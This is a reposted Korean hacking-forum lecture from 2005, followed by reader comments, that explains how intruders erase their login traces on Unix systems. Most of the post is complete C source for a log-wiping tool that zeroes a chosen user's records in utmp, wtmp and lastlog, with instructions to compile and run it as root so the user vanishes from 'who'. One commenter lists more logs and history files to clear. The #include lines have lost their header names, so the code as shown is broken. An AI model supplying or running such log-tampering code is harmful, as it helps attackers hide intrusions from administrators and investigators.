1577, 9/79 회원가입  로그인  
   starztp
   [펌]해커들의 흔적지우는방법

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=333 [복사]





*해커들이 자신의 흔적을 지우는 방법





자신의 로긴 정보를 지우는 프로그램은

기본적으로 /etc/utmp와 /var/adm/wtmp와 /var/adm/lastlog에 대한 읽기와

쓰기권한이 있어야 합니다. SunOS 4.1.X계열의 utmp의 모드가 -rw-rw-rw-로

되어 있고 SunOS 5.X 계열의 utmp의 모드는 -rw-r-r-로 되어 있습니다.

시스템에 따라 다를 수도 있지요. 따라서, 이 프로그램을 실행해 보려고 하는

사람은 SunOS 4.1.X을 사용해야 합니다. 이는 uname -a의 명령어로 알아 볼 수

있습니다. 그런데 자신이 일반 사용자가 아닌 root라면 구지 OS의 버전에

영향을 받을 필요가 없습니다. 해커나 다른 사람이 접속하면 시스템에

/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일에 접속 기록이 남습니다.

그래서 흔적을 없애기 위해서는 위의 화일을 변경합니다. 이것들은 텍스트 파일이

아니라서 vi로 편집할 수 없고 특별한 목적을 지닌 프로그램을 작성해야 합니다.

바로 그 프로그램이 아래에 있는 프로그램입니다. C언어로 작성 되어 있습니다.

이 프로그램 말고도 여러 가지의 흔적 지우는 프로그램이 있다는 것을 알려드립니다.

아래 프로그램을 root의 권한에서 돌려서 접속흔적을 지웁니다.

유닉스 쉘 상태에서 아래 파일명을 test.c로 저장해서 cc -o rmuser test.c 로

컴파일 해서 rmuser를 실행시키면 됩니다.



hack%cc -o rmuser test.c

hack%rmuser



위의 명령을 실행해서 who라고 명령 해보십시오.

깜쪽 같이 자신이 사라져 있을 겁니다.

참고로 who는 현재 시스템에 로긴해 있는 사용자를 알아보는 명령어 입니다.



프로그램 소스 tset.c의 내용



#include

#include

#include

#include

#include

#include

#include

#include



#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {



while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )



if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {



bzero((char *)&utmp_ent,sizeof( utmp_ent ));



lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);



write (f, &utmp_ent, sizeof (utmp_ent));



}



close(f);



}



}



void kill_wtmp(who)



char *who;



{



struct utmp utmp_ent;



long pos;

pos = 1L;



if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {



lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);



if (read (f, &utmp_ent, sizeof (struct utmp))<0) {



pos = -1L;



} else {



if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {



bzero((char *)&utmp_ent,sizeof(struct utmp ));



lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);



write (f, &utmp_ent, sizeof (utmp_ent));



pos = -1L;



} else pos += 1L;



}



}



close(f);



}



}



void kill_lastlog(who)



char *who;



{

struct passwd *pwd;

struct lastlog newll;



if ((pwd=getpwnam(who))!=NULL) {



if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {



lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);



bzero((char *)&newll,sizeof( newll ));



write(f, (char *)&newll, sizeof( newll ));



close(f);



}



} else printf("%s: ?\n",who);



}



main(argc,argv)



int argc;



char *argv[];



{



if (argc==2) {



kill_lastlog(argv[1]);



kill_wtmp(argv[1]);



kill_utmp(argv[1]);



printf("Zap2!\n");



} else printf("Error.\n");

}


  Hit : 11623     Date : 2005/10/08 03:53



    
starztp 퍼온겁니다. 만약 잘못된부분이있다면 리플달아주세요 바로삭제하겠습니다.(님들은 이글을 알아들으실꺼라 생각하여 올린겁니다 물론 저는 무슨내용인지 잘은모르지만요..) 고수님들이 보시고 2005/10/08  
starztp 잘못된부분이나 수정해야할부분 그리고 중복내용 쓸떼없는내용이라면 악플다시지마시고 그냥 이런저런사유로인해서 삭제부탁한다고 써주시면 감사하겠습니다....^^ 2005/10/08  
nsh009 소스가 많이 길어진거 같내요.. 인터넷 돌아다니다가 본거랑 비교하면.. 꽤 기네요.. 2005/10/08  
골드 어디선가 본거는 같은데 ... 어디서였지 2005/10/08  
awsedr45 그외 etc/syslog.conf /var/adm/sulog /var/log /.history bash.history /var/adm/utmp wtmp 도 있습니다. 2005/10/08  
kamijyo 헤더파일이 안써진거 같은데; 무엇 무엇이 쓰인건가요?? 2005/10/08  
starztp 헤더파일이뭔지 저는모릅니다a 혹 고수님들이 보시면 알까 도움이 될까싶어 퍼온겁니다;;; 허접내용이라면 삭제하겠습니다;; 삭제 요청해주세요 ; 2005/10/09  
골드 #include<stdio.h> 이런게 헤더파일인데 #include 옆에 아무것도 없네요. 지워졌나. 2005/10/10  
돌대가리 내대가리 돌대가리 내대가리 돌대가리 내대가리 돌대가리 내대가리 ㅆㅂㄹㅁ 저거 진짜모르겟다 ㅠㅠ 2005/10/12
starztp 글쎄요a 2005/10/13  
보기드문킹카 역시C++과 리눅스는 파고들수록 머리 아파짐 ㅡㅡ 아 어떻게 해야 점수 잘받을까요 학교서 ㅡㅡㅋ 2005/10/16
멍멍   잘못된 부분 수정되었습니다 printf("Zap2!\n"); 에서 printf("Zap1!\n"); 로 2005/10/26  
angel6116 미치도록 뭔말인지 알고싶어진다;; 전혀 알아들을수가 없네..ㅠ_ㅠ 2005/11/06  
.. -_- 헤더파일 stdio.h , utmp.h , fcntl.h 등 넣고 컴팔했더니 함수내 에러 -ㅁ-;; 2005/11/10
.. L_XTND 선언 안되어있다는뎅 -ㅁ-; 2005/11/10
c0003c 이게 도대체 뭔말이여-_-;; 2005/11/13  
tbvjqk 으악 머리 아파 2005/11/13  
msjeon9323 헉 저거 쓴 님!! 좀 쉽게 설명 글로... 2005/11/20  
그린나래 include 에 헤더파일이 빠져있네요.. 아마 꺽새표시가 태그..로 인해 사라진듯한데요 2005/11/29  
H.R.T -0- 이게머야...알아볼수가 없네..;;ㅋㅋ 2005/12/12  
X-line 소스잖아요 ㅎㅎ 2005/12/15  
X-line 이거 이해할수있다면 정말 좋을텐데.. 2005/12/15  
무소유 해커스쿨책에도 이런거 나왔든거같든데 ㅎ 2005/12/16  
gbajh 해커스쿨 책도 있어요? 2006/01/02  
바보해커 C++의외로 배우면 쉽삼! 2006/01/22
marilin29 헉! 2006/12/12  
whqkdnf000 감사합니다...좋은정보 2007/02/26  
rocket07 fopne 함수에서 f 빠진거 같은뎅. . 2012/01/21  
1417   C언어 기본구조[1]     괴도js
07/02 11758
1416   해킹기법? (기발하다고 해야하나,웃기다고 해야하나)[35]     whqkdnf000
07/31 11754
1415   [Reverse Engineering] 리버싱의 기초 - 범용 레지스터와 Assembly(Pop,Mov)     zen0c1de
07/18 11726
1414   [펌]스니핑[1]     loveaaav
03/24 11706
1413   c언어 for문      hacs98
06/15 11699
1412   I. 리눅스 구조 및 일반 명령어.     괴도js
07/04 11691
1411   c++ 강좌[7]     jhon55
08/12 11647
1410   ping아는 카페 해킹 고수님에게 들은 소리입니다[21]     장세만
07/14 11630
  [펌]해커들의 흔적지우는방법[28]     starztp
10/08 11622
1408   C언어(진법)[9]     whqkdnf000
02/25 11563
1407   [C기초] 11 - 함수 매개변수로 배열을 넘기려면?      sihun1113
05/01 11545
1406   메모리 덤프(블루 스크린=STOP 스크린) 코드 및 해결[1]     ROK.AF
02/09 11513
1405   왠만한사람들은다알지도모르겠지만[6]     백룡출해
03/17 11491
1404   개발자가 알아야할 10가지 보안팁으로 코드를 보호하자.     푸른하늘
09/01 11444
1403   알기 어렵게 설명한 Buffer Overflow[4]     blackcoder
02/17 11438
1402   [프로젝트]상.절.지 해킹사전//해킹공부사이트 URL리스트[5]     W.H.
10/30 11430
1401   네트워크 개념 휘어잡기 7[8]     소유
09/16 11373
1400   리눅스 명령어 한꺼번에(소유님꺼)[11]     ssakura
07/07 11206
1399   네트워크 개념 휘어잡기 6[10]     소유
09/15 11199
1398   원격종료....[39]     bsjzzz
01/02 11154
[1][2][3][4][5][6][7][8] 9 [10]..[79]

Copyright 1999-2022 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com